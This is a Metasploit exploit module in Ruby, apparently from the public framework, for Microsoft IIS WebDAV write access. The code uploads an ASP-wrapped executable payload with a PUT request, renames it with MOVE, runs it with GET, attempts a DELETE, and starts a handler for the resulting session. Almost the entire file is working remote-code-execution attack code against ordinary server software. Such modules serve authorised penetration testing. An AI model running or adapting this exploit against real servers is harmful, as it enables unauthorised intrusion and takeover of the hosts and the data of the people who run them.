##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'        => 'Microsoft IIS WebDAV Write Access Code Execution',
      'Description'    => %q{
          This module can be used to execute a payload on IIS servers that
        have world-writeable directories. The payload is uploaded as an ASP
        script via a WebDAV PUT request.

          The target IIS machine must meet these conditions to be considered
        as exploitable: It allows 'Script resource access', Read and Write
        permission, and supports ASP.
      },
      'Author'      => 'hdm',
      'Platform'    => 'win',
      'References'  =>
        [
          ['OSVDB', '397'],
          ['BID', '12141']
        ],
      'Targets'     =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 01 1994'
    )

    register_options(
      [
        # The USERNAME and PASSWORD are registered again to make them more obvious they're
        # configurable.
        OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
        OptString.new('PASSWORD', [false, 'The HTTP password to specify for  authentication', '']),
        OptString.new('PATH', [ true,  "The path to attempt to upload", '/metasploit%RAND%.asp'])
      ], self.class)
  end

  def exploit

    # Generate the ASP containing the EXE containing the payload
    exe  = generate_payload_exe
    asp  = Msf::Util::EXE.to_exe_asp(exe)
    path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
    path_tmp  = path.gsub(/\....$/, ".txt")

    #
    # UPLOAD
    #
    print_status("Uploading #{asp.length} bytes to #{path_tmp}...")

    begin
      res = send_request_cgi({
        'uri'          =>  path_tmp,
        'method'       => 'PUT',
        'ctype'        => 'application/octet-stream',
        'data'         => asp,
      }, 20)
    rescue Errno::ECONNRESET => e
      print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.")
      return
    end

    if (! res)
      print_error("Connection timed out while uploading to #{path_tmp}")
      return
    end

    if (res.code < 200 or res.code >= 300)
      print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
      return
    end

    #
    # MOVE
    #
    print_status("Moving #{path_tmp} to #{path}...")

    res = send_request_cgi({
      'uri'          =>  path_tmp,
      'method'       => 'MOVE',
      'headers'      => {'Destination' => path}
    }, 20)

    if (! res)
      print_error("Connection timed out while moving to #{path}")
      return
    end

    if (res.code < 200 or res.code >= 300)
      print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
      case res.code
      when 403
        print_error("IIS possibly does not allow 'Read' permission, which is required to upload executable content.")
      end
      return
    end

    #
    # EXECUTE
    #
    print_status("Executing #{path}...")

    res = send_request_cgi({
      'uri'          =>  path,
      'method'       => 'GET'
    }, 20)

    if (! res)
      print_error("Execution failed on #{path} [No Response]")
      return
    end

    if (res.code < 200 or res.code >= 300)
      print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
      case res.message
      when 'Object Not Found'
        print_error("The MOVE verb failed to rename the file. Possibly IIS doesn't allow 'Script Resource Access'.")
      end
      return
    end



    #
    # DELETE
    #
    print_status("Deleting #{path}, this doesn't always work...")

    res = send_request_cgi({
      'uri'          =>  path,
      'method'       => 'DELETE'
    }, 20)
    if (! res)
      print_error("Deletion failed on #{path} [No Response]")
      return
    end

    if (res.code < 200 or res.code >= 300)
      # Changed this to a warning, because red is scary and if this aprt fails,
      # honestly it's not that bad. In most cases this is probably expected anyway
      # because by default we're using IWAM_*, which doesn't give us a lot of
      # freedom to begin with.
      print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")
      return
    end

    handler
  end

end
